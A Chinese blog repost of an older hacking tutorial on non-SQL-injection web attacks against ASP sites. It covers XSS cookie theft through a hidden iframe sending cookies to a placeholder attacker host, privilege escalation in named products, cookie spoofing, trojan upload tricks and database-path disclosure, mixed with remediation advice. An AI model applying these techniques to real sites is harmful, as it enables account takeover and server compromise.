轉自:玄貓的窩

Part I 前言
現 在網上最流行的網站攻擊手段,要數得上SQL Injection了,雖然SI技術易學易用,並且容易取得較大的權限,但因其風頭實在太大,現在一般稍有點安全意識的程序員都會注意到這個問題,並且通 過GET方法提交的數據會被服務器記錄在案,而讓網管很容易找到入侵者。
非SI類攻擊相對來說獲得的服務器操作權限不大,但對於以獲得數據為目的的入侵還是很有用的。
Part II 方法介紹
常規的非SI類攻擊有如下幾種:
一、 跨站腳本攻擊(XSS)
跨站腳本攻擊不會直接對網站服務器造成破壞,其主要的攻擊對像是網站的訪問者,這裡入侵者大致有三種目的:
一是對網站頁面瀏覽者進行侵害:如在網站頁面中加入自動下載的代碼,或者利用像IE Frame漏洞等向瀏覽者植入木馬,或者劫持瀏覽器等。
二是盜取瀏覽者的cookies。入侵者可以在自己的網站上建立一個可以接受並保存信息的頁面,並在被入侵網站的頁面上加入一個長寬都為0的隱藏iframe,地址為:http://hackerserver.com/get.asp?info=document.cookies, 服務器端的get.asp頁面接受info信息並保存在數據庫中,這樣入侵者就可以獲得瀏覽者在被入侵網站上的cookies信息了。如果盜取的是一般用 戶的密碼,危害還不算很大,但是如果入侵者利用社會工程學,讓登陸後並且密碼保存在cookies中的管理員訪問頁面,就可以盜取管理員的密碼,從而進一 步控制網站。
三是利用大量的訪客請求來重複某一操作。前一陣某商務網站消息說國內某著名搜索引擎在其搜索聯盟中加入隱藏的iframe訪問該商務 網站,對其進行DDOS攻擊導致其服務器負荷過大。且不說這個事情是真是假,但是這種思路是我們應該注意的。2004年11期《黑客X檔案》上有一篇名為 《玩轉X樹下》的文章(第62頁),作者利用跨站腳本攻擊在頁面中插入了發帖的代碼,巨大的訪問量使垃圾帖數目暴漲,最後服務器不堪重負幾近崩潰。
跨 站攻擊的手段看似簡單,只需在提交的內容(如留言,評論)中加入危險的代碼即可,但如何繞過程序對非法字符的過濾,則是一件很複雜的事情。常用的手段有: 變更大小寫、轉換為ASII碼或轉義符、調用遠程js腳本文件等腳本的變形和隱藏方法、使用Flash的Geturl參數等等。
小訣竅
1、如何對付表單的檢測。
有 些網站為了防止跨站腳本攻擊,在其表單中加入一些Javascript代碼來檢測文本框的值,如不合法就彈出對話框提示,並禁止提交,但是這種只在客戶端 作的限制相當於什麼限制都沒作,我們可以把網頁保存到本地,去掉相應的檢測的JS代碼,再修改網頁中form的action屬性,使其指向網站,再提交, 如果網站沒有在服務器端再次作驗證的話,就會被入侵。(河北省高中生信息技術會考程序就存在此漏洞。)
2、關於UBB。
UBB代碼是一些程序為了在限制html代碼的同時不致使提交的信息過於單調而運用的一種手段,其方法就是讓用戶使用一些特定的標籤,然後在服務器端轉換這些標籤,但是如果轉換的語句沒有寫好的話仍然會造成危險。(我們會在後面的實例中進一步展示繞過UBB的方法。)
下面請跟我用實例來體會一下:
實例1-1:無過濾的腳本插入
這是動感商城某一個版本的「客戶反饋」功能,是一個名為fk.asp的自提交頁面,其中將數據存儲至數據庫的代碼是這樣的。

rs.addnew
rs(\\"fksubject\\")=checkFFSQLStr(trim(request(\\"fksubject\\")))
rs(\\"fkleixing\\")=checkFFSQLStr(request(\\"fkleixing\\"))
rs(\\"fkcontent\\")=checkFFSQLStr(trim(request(\\"fkcontent\\")))   『看,沒有進行危險字符過濾
rs(\\"fkusername\\")=checkFFSQLStr(trim(request(\\"fkusername\\")))
rs(\\"fkemail\\")=checkFFSQLStr(trim(request(\\"fkemail\\")))
rs(\\"fktel\\")=checkFFSQLStr(trim(request(\\"fktel\\")))
rs(\\"fklaizi\\")=checkFFSQLStr(trim(request(\\"fklaizi\\")))
rs(\\"fkdate\\")=now
rs(\\"fkip\\")=Request.ServerVariables(\\"remote_addr\\")
rs.update
rs.close
我 們不難發現,程序在把數據存進數據庫之前只對是否有能構成SI的字符進行了過濾(這個過濾恰恰是沒有必要的,因為參數不引入查詢條件)而對危險字符如 script等沒有進行過濾,顯示留言的頁面lyb.asp也沒有先過濾再顯示。如果我們在留言中提交<script>alert (document.cookie)</script>,就可以彈出用戶的cookies信息。(如圖一)
實例1-2:過濾不好的UBB的腳本插入
某著名Blog程序的UBB轉換頁面ubbcode.asp其中轉換危險字符的一個片斷如下:


Str = Replace(Str, \\"script\\", \\"script\\")
Str = Replace(Str, \\"SCRIPT\\", \\"SCRIPT\\")
Str = Replace(Str, \\"Script\\", \\"Script\\")
Str = Replace(Str, \\"script\\", \\"Script\\")
我們可以提交sCRipt這樣的字符來繞過此限制,譬如提交信息

[ img ]javAScript:window.close()[ /img ](去掉空格)
可以關閉窗口。

二、越權攻擊
越權攻擊是由於程序員對頁面的訪問權的檢測不完善而造成的使入侵者不需得到用戶或管理員的密碼即可訪問只有特定用戶或管理員才能訪問的頁面的一種漏洞。
這種越權讓我想到了很久很久以前(大約2000年以前),流行的「聊天室踢人大法」,就是利用訪問某些對用戶的權限檢測不完善的聊天室程序的負責踢人的頁面來達到任意踢人的目的。
不過這種越管理員權限的漏洞通常比較隱蔽,尤其是對非開源的程序,大多只能憑經驗來猜。再看一個越普通用戶權限的例子:某程序的修改用戶資料的頁面通過獲取GET的參數引入程序進行處理,顯示相關數據,如:http://targetzone.com/edituser.asp?userid=Daniel,這本來是修改用戶Daniel的資料,但是如果程序沒有加別的驗證,我們就可以通過修改參數的值來修改任意用戶的資料,如提交http://targetzone.com/edituser.asp?userid=Kitty來修改Kitty用戶的資料。
程序員在製作此類程序是應該驗證session來判斷用戶是否登陸,並且應該從session中獲取當前登陸的用戶名,其餘如Get,cookies等數據都是不可信的。
再 一種越權,我們可以稱之為「越步越權」,這類漏洞是針對於某些需要N個步驟完成的過程,第X步沒有檢測是否完成了X-1步而使攻擊者可以跳過前X-1步。 這種漏洞常出現在找回密碼的程序中,最後驗證完畢修改密碼的頁面只是把要修改的用戶名以隱藏域的方式放在了網頁中,但是下一步沒有進行相關檢測導致可以修 改任意用戶的密碼。
小訣竅
1、隱藏域的利用。
許多程序員喜歡使用表單隱藏域而並非session在程序中傳遞一些步驟中出現的參 數,對於某些非敏感數據來說,這樣可以節省一定的服務器資源,但是對於一些敏感數據來說,這是十分危險的,因為用戶雖然在網頁上看不到隱藏域,但是用戶可 以查看源代碼來找到隱藏域,並且可以通過把網頁保存到本地並且修改隱藏域的值來達到越權的目的。
好的,我們來看幾個實例:
實例2-1:某版本動感商城找回用戶密碼的越步漏洞
動感商城的這個版本漏洞很多,其找回密碼的部分分為4個頁面,getpwd.asp~getpwd4.asp,分別對應填寫用戶名、填寫提示密碼答案、重新設置密碼、將新的密碼更新至數據庫的操作。其中getpwd4.asp的部分代碼是這麼寫的。


<%username=request(\\"username\\")
passwd=md5(trim(request.form(\\"passwd\\")))
set rs=Server.CreateObject(\\"Adodb.Recordset\\")
sql=\\"select * from [user] where username='\\"&username&\\"'\\"
rs.open sql,conn,1,3
If rs.eof Then
%>
<script language=\\"javascript\\">
alert(\\"這個用戶還沒有註冊呢,請到首頁註冊吧!\\")
location.href=\\"javascript:history.back()\\"
</script>
<%
else
rs(\\"userpassword\\")=passwd
rs.update
end if
rs.close
set rs=nothing
conn.close  
set conn=nothing%>………
可以發現第一行沒有檢測requect來得數據到底是不是填寫了相關信息。
假 設我們由於某種原因要盜取用戶Kitty的密碼:我們可以這樣做:先註冊一個新用戶Daniel,並記下所填寫的提示問題答案,然後去找回密碼,直到 getpwd3.asp這個頁面,把此頁面保存至本地,用記事本打開頁面,把form的action屬性值中的Daniel改為Kitty,並把網址補充 完整,然後在本地打開此頁面,填寫密碼並提交就可以修改Kitty的密碼為你剛才在這個頁面填寫的密碼。
實例2-2:九酷網絡個人主頁空間管理系統3.0的越權漏洞:
程序中檢測是否登陸是通過在頁面include文件chkuser.asp來實現的


<%if session(\\"user_userid\\")=\\"\\" or session(\\"user_username\\")=\\"\\" then 『漏洞原因
Response.write\\"<script>alert('對不起,您還沒有登錄或登錄出錯!');top.location.href='index.asp'</script>\\"
response.End
end if  
%>
可 以看到,這個文件只檢查了session是否為空,而沒有檢查到底的操作是否是當前所登錄用戶的!所以這個程序存在多處越權漏洞,先看越用戶修改資料的漏 洞:登陸後可以看到界面分為上、左、右三個框架。頂部的框架主要是幾個導航的連接,按住shift點」修改個人資料」,使其在新窗口打開,地址為:http://127.0.0.1/edituser.asp?userid=39&username=Daniel,不難看出,地址中的username參數的值就是當前用戶名,那麼我們把它改一下試試……打開頁面http://127.0.0.1/edituser.asp?userid=39&username=Kitty,Bingo!網頁上顯示出我們註冊Kitty用戶時填寫的資料!隨便改改吧……這裡我們可以修改它的密碼提示問題和答案,然後再通過「忘記密碼」功能修改該用戶的密碼。再來看顯示並修改任意用戶文件的漏洞。經檢測,負責顯示文件列表的頁面是http://127.0.0.1/main.asp?userid=39&username=Daniel&path=Daniel,我們可以通過修改path的值這裡對服務器上的文件進行瀏覽,上傳,刪除,改名等操作。
實例2-3:LB5000修改註冊聲明的漏洞
由於雷傲的LB5000的setregmsg.cgi和setregrules.cgi兩個文件存在越權漏洞,導致攻擊者可以直接修改論壇「註冊聲明」和「短消息歡迎信息」 。提交如下請求可以修改「註冊聲明」:http://www.targetzome.com/ cgi-bin/setregrules.cgi?action=process&therules=要修改的內容。我們可以通過這個寫入一些跨站的代碼。
三、cookies欺騙
什 麼是cookies呢, Cookies是一個儲存於瀏覽器目錄中的文本文件,記錄你訪問一個特定站點的信息,且只能被創建這個cookies的站點讀回,約由255個字符組成, 僅佔4KB硬盤空間。當用戶正在瀏覽某站點時,它儲存於客戶機的內存中,退出瀏覽器後,它儲存於用戶的硬盤中。儲存在Cookies中的大部分信息是普通 的,如當你瀏覽一個站點時,此文件記錄了每一次的擊鍵信息和被訪站點的地址等。但是許多Web站點使用Cookies來儲存針對私人的數據,如:註冊口 令、用戶名、信用卡編號等。
Cookies欺騙是在客戶端對網站要讀取的cookies修改成我們想偽裝的值而對程序進行欺騙,讓其誤認為我們是已登陸的用戶從而達到某種目的,可以說,這也是越權的一種方法。
我們還是說有些程序員對風險估計不足,對於客戶端過於信任,把本應該存儲在session中的敏感信息存儲在了cookies中導致了這種漏洞,所以這種漏洞相對來說也是比較隱蔽的。
進行這種攻擊的一般思路是得到合法的cookies->使用工具修改cookies->訪問限制頁面,越權成功。
假設我們在站點http://targetzone.com上有一個合法帳號Daniel,現在我們想用用戶Kitty的身份登陸,但是我們沒有Kitty的密碼(廢話,否則還攻擊什麼……),我們試試用cookies欺騙的方法達到目的:
以Daniel 的身份登陸targetzone.com並且選擇保存登陸資料,關閉瀏覽器,使用IECookiesView這個軟件打開本機的Cookies信息,選擇 站點targetzone.com,修改username的值為Kitty,再次訪問網站,發現我們已經以Kitty的身份登陸了。
但是這種攻擊 也是有一個比較大的硬傷的,且不說網站是否把信息保存在cookies中,單說有的網站把用戶名和密碼一起保存在cookies中,每次訪問的時候先根據 用戶名和密碼進行檢測,然後再判斷是否合法。所以說這種漏洞其實單獨使用並不是非常有效,但是配合其他的入侵就好用多了,譬如下載了某站點的數據庫,但是 其中的密碼都是MD5加密的,除非暴力破解出MD5散列的值,否則無法在網站上登陸,不過如果網站是把用戶名和MD5後的密碼保存在Cookies中,我 們就可以應用了。或者網站防SI的措施比較嚴密,在url中找不到注入點,可以在cookies中找注入點等。還有的網站把用戶的權限保存在 cookies中,也可以通過修改來達到提升權限的目的。
實例3-1 某下載程序的欺騙漏洞:
其處理登陸的代碼是這樣的:


<%If Cookies(\\"down_Isadder\\")=\\"\\" then%>
<script language=\\"Vbscript\\">
msgbox(\\"對不起,您沒有權限管理用戶!如果您是管理員,請登陸!\\")
window.close()
</script>
<%Else%>
…………
真暈,只檢測了那個cookies是否為空,所以我們使用IECookiesView來把down_Isadder的值改為任意值(當然,除了空值)都可以登陸管理。
實例3-2:L-blog的cookie越權上傳欺騙漏洞:
最近這個漏洞真是毀掉包括不少黑客在內的WebLog啊。L-Blog的提取cookies的文件存在邏輯漏洞使得任意用戶可以跨越至管理員的權限上傳文件。
文件attachment.asp的部分代碼:
IF memStatus="SupAdmin" OR memStatus="Admin" Then
IF Request.QueryString("action")="upload" Then
可 以看到,程序檢測SupAdmin的值是不是管理員所對應的值,如果是就允許上傳,而並未檢測登陸的用戶是誰。再看驗證cookies的程序 command.asp,檢測如果memName(cookies中取得的用戶名)為空,則不進行任何操作。如果不為空,則驗證保存的用戶名和密碼是否正 確,不正確清空cookies。這裡就為我們留下了一個漏洞,如果cookies中的用戶名的值(memName)為空,而用戶權限 (memStatus)的值不為空,這樣command.asp文件就不驗證用戶名和密碼,但是上傳頁面檢測到memStatus是管理員的,就可以上傳 了。
我們可以先註冊普通用戶,登陸並保存cookies,修改cookies使memName的值為空,memStatus的值為SupAdmin或者Admin,然後就可以上傳了。
但是只能上傳某幾種文件,我們是不能上傳Asp木馬的,怎麼辦呢……我們再來看看如何傳asp木馬。
四、非法上傳漏洞
以合法致非法,我們先來說兩個簡單的不算漏洞的漏洞。
一 些程序限制了如asp,asa等擴展名是不能上傳的,但是我們看看IIS的設置,發現還有一些擴展名是由asp.dll解釋的,如cer所以如果某些程序 不允許上傳asp文件,我們可以把木馬的擴展名改為cer,然後再上傳,這時如果服務器沒有把cer的解析去掉的話,我們就可以運行木馬了。還有一些擴展 名的文件,是可以執行SSI(Server Side Include)指令的,如stm,上傳一個seeit.stm文件,內容為」 <!--#include file="conn.asp"-->」,然後訪問此文件,即可看到conn.asp文件的內容。所以程序員在作上傳檢測的時候,應該設定什麼樣子 的文件允許上傳而並非什麼樣的文件不能上傳。
再說關於上傳程序的漏洞。
前一陣子出現的動網論壇的上傳漏洞可謂風風雨雨啊,Daniel也用這個漏洞攻下了許多頑固肉雞,我們先就動網的上傳來分析:
動網本來是不允許上傳asp等危險文件的,但是其上傳的處理有一定的漏洞導致程序獲取的參數有誤而使入侵者可以上傳任意文件。
先看看提交上傳的一個頁面reg_upload.asp:


<form name=\\"form\\" method=\\"post\\" action=\\"upfile.asp\\" enctype=\\"multipart/form-data\\" >
<input type=\\"hidden\\" name=\\"filepath\\" value=\\"uploadFace\\">
<input type=\\"hidden\\" name=\\"act\\" value=\\"upload\\">
<input type=\\"file\\" name=\\"file1\\">
<input type=\\"hidden\\" name=\\"fname\\">
<input type=\\"submit\\" name=\\"Submit\\" value=\\"上傳\\" onclick=\\"fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,
parent.document.forms[0].Submit2.disabled=true;\\">
</form>
程 序是提取file1表單和fname表單中的值來做判斷的.也就是說直接從頁面遞交要上傳的asp文件程序是會檢測出來的。不過我們可以自己構造數據包並 使用NC提交,達到越過檢測的目的。但是我們的主要問題是上傳後的文件一定要是asp格式的,雖然file1的值合法,但是最終達到保存的擴展名為asp 的目的應該怎麼辦呢?
動網所用的無組件上傳類中有一句是這麼寫的:


filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&\\".\\"&fileExt
這 個filename為程序生成的保存的文件的文件名。在計算機中檢測字符串的關鍵就是看是否碰到''字符, 如果是,則認為字符串結束了.也就是說我們在構造上傳文件保存路徑時,只要欺騙計算機,讓他認為類似"uploadfaceDaniel.asp" 這樣的路徑參數已經結束了,就可以達到我們的目的了。
這種漏洞的原理就分析到這裡,現在很多上傳都存在這種漏洞,先抓包再手動提交實在太累了,Daniel建議大家使用網上的一些上傳漏洞利用工具來減輕負擔。
再來看一個My動力3.51的漏洞。其上傳頁面Upfile_Soft.asp的部分代碼是這樣的:


Fot i=0 to ubound(arrUpFileType)
If fileEXT=trim(arrUpFileType(i)) then
Enableupload=true
因 為My動力所採用的上傳類可以上傳多個文件,我們從上面的代碼可以看出,如果上傳多個文件時,第N-1個文件的擴展名不合法,而第N個文件的擴展名合法的 話,是可以通過檢測的。所以我們只要自己構造頁面,上傳兩個文件,並且第二個的擴展名是程序可以上傳的,就可以了。但是My動力系統是禁止表單外部提交 的,如何繞過這個限制呢,請看-表單的攻防。
小訣竅:
1、利用數據庫的備份恢復功能把合法變非法。
畢竟還是有許多系統不存在上傳 的邏輯漏洞,那麼我們怎麼上傳腳本木馬呢。這個訣竅要求你能登陸後台,並且網站系統有備份和恢複數據庫的功能。現通過合法渠道把木馬改名為合法的擴展名上 傳,然後在備份和恢複數據庫的頁面中,把上傳後的文件名寫在備份和恢復的路徑中,然後還原,由於程序是將數據庫以asp擴展名存放的,所以木馬也可以正常 解析了。
五、表單的攻防
本文前面一些地方已經提到了一些關於程序中表單的不安全因素,現在我們來總結一下。對於表單的攻擊,主要的思路就是把含有表單的頁面保存到本地,修改去掉相關限制,並且將其action提交地址補全為網站上的地址,然後再提交。
所以不難看出,關於表單的一切,如果在服務器端不再次驗證的話,都是危險和不可信的。建議程序員在客戶端做表單合法性檢查的同時儘量在服務器端再次驗證並且在服務器端加相應的禁止外部提交的代碼。:


<%server_v1=Cstr(Request.ServerVariables(\\"HTTP_REFERER\\"))
server_v2=Cstr(Request.ServerVariables(\\"SERVER_NAME\\"))
if mid(server_v1,8,len(server_v2))<>server_v2 then
response.write \\"<br><br><center><table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450>\\"
response.write \\"<tr><td style='font:9pt Verdana'>\\"
response.write \\"你提交的路徑有誤,禁止從站點外部提交數據請不要亂該參數!\\"
response.write \\"</td></tr></table></center>\\"
response.end
end if%>

我們來想想有哪些表單的限制:Js合法性檢查、隱藏域、不可修改(ReadOnly)域。
不知道大家是否還記得ofstar論壇的論壇群組,採用一個readonly域顯示某一群組的成員,我們就可以把網頁下載下來,去掉readonly屬性,然後自己加上你想加入此論壇的會員,然後提交……
小訣竅:
1、繞過禁止外部提交:
可以自己寫一個socket程序來修改http_referer的值,但是這種方法比較麻煩,我介紹一種簡單的。
這 個訣竅要求你有上傳圖片的權限。IE打開圖片的時候,如果圖片中是html代碼的話,就像網頁一樣可以運行其代碼。這樣我們可以把構造的頁面改擴展名為圖 片,並且上傳,訪問這個頁面並且提交就是在服務器端提交了。(注意:這種方法在構造頁面的時候一定要把諸如<html>那些基礎標籤都寫 全。)

實例5-1:九酷網絡個人主頁空間管理系統3.0的向任意目錄上傳漏洞:
登陸後,點擊」上傳文件」按鈕,彈出一個網頁,裡 面可以設定上傳個數,還有一個上傳目錄的文本框,但是不可以修改,在IE中將這個頁面另存,然後找到文件的第44行,代碼為: <LI>上傳到: <INPUT class=INPUT style="WIDTH: 200px" ReadOnly…我們把這個ReadOnly刪除,然後找到文件第37行,把form標籤的action屬性中的值補全(就是把網站地址加上) ,然後在本地打開這個頁面,此時」上傳倒」文本框已經可以修改了,我們將其改為:../,選擇文件上傳,可以發現,這個文件已經傳到上一級目錄下了。

六、暴庫、暴文件內容的漏洞
大 家都聽說過%5c暴庫漏洞吧,就是對於操作數據庫的頁面把地址欄最靠近文件名的那個」/」改為」%5c」,如果滿足以下條件,就可以看見數據庫的路徑:一 般的錯誤返回頁面是本地IE提供的,所以我們先得關了本地的錯誤頁面,具體在菜單項的『工具->internet選項->高級->顯示 友好信息』;對方數據庫要是Access型;%5c的暴庫需要的是二級目錄,一級目錄無法成功;對方的頁面沒有容錯語句。原理比較複雜,請大家自己 Google。
有的程序員喜歡把include的頁面擴展名都寫成inc,並且許多教程也是這樣建議的,但是這樣使得程序存在一個大漏洞,由於 inc默認不是由asp.dll解析的,所以是直接以文本的方式顯示,這樣如果別人就可以直接訪問你的數據庫定義的頁面(如conn.inc)來的知數據 庫地址或SQL帳號密碼。
有些網站為了防止軟件下載的盜鏈,對於下載軟件都是用一個頁面讀取,然後輸出流的方式傳送到客戶端,其文件名參數通常以GET方式附加在地址中,如http://targetzone.com/down.asp?path=Daniel.zip,我們先可以大概猜出其數據鏈接文件相對於軟件庫的位置,並且更改path參數的值,如果幸運的話,就可以下載到未經asp.dll解析的數據鏈接文件了。
Part III總結和後記
時 間已到清晨,太陽升起來了,陽光灑滿大地,花了大概3天的業餘時間寫的這篇文章到這裡基本上就結束了,但是我要強調的是,網站程序中非SI的漏洞遠不止於 此,並且許多未知的邏輯漏洞還是未曾被發現的,本專題由於篇幅和時間的限制,僅對目前比較常用的一些手段作了簡單的介紹,希望Daniel能對大家起到拋 磚引玉的作用,各位如果真正認真地研究一下網上一些程序的代碼,就可以發現許多未被別人發現的漏洞出現了。
漏洞並不可怕,可怕的是程序員沒有一種嚴謹的態度和完整、周全的思路。
老編土豆曾問我怎麼想到這個主題的,其實我只是對只會用NBSI亂注網站的菜鳥(包括我自己)的行為感到深深遺憾和擔憂,只會用工具的黑客不是黑客,我們一定要學會用自己的思想發現漏洞,修補漏洞,才能做到真正技術上的提高。
又一天來臨了,而在我發覺這一天的來臨時,已經過去了將近7個小時……
arrow
arrow
    全站熱搜
    創作者介紹
    創作者 ivan0914 的頭像
    ivan0914

    I'n Blog 之萬象真藏

    ivan0914 發表在 痞客邦 留言(0) 人氣()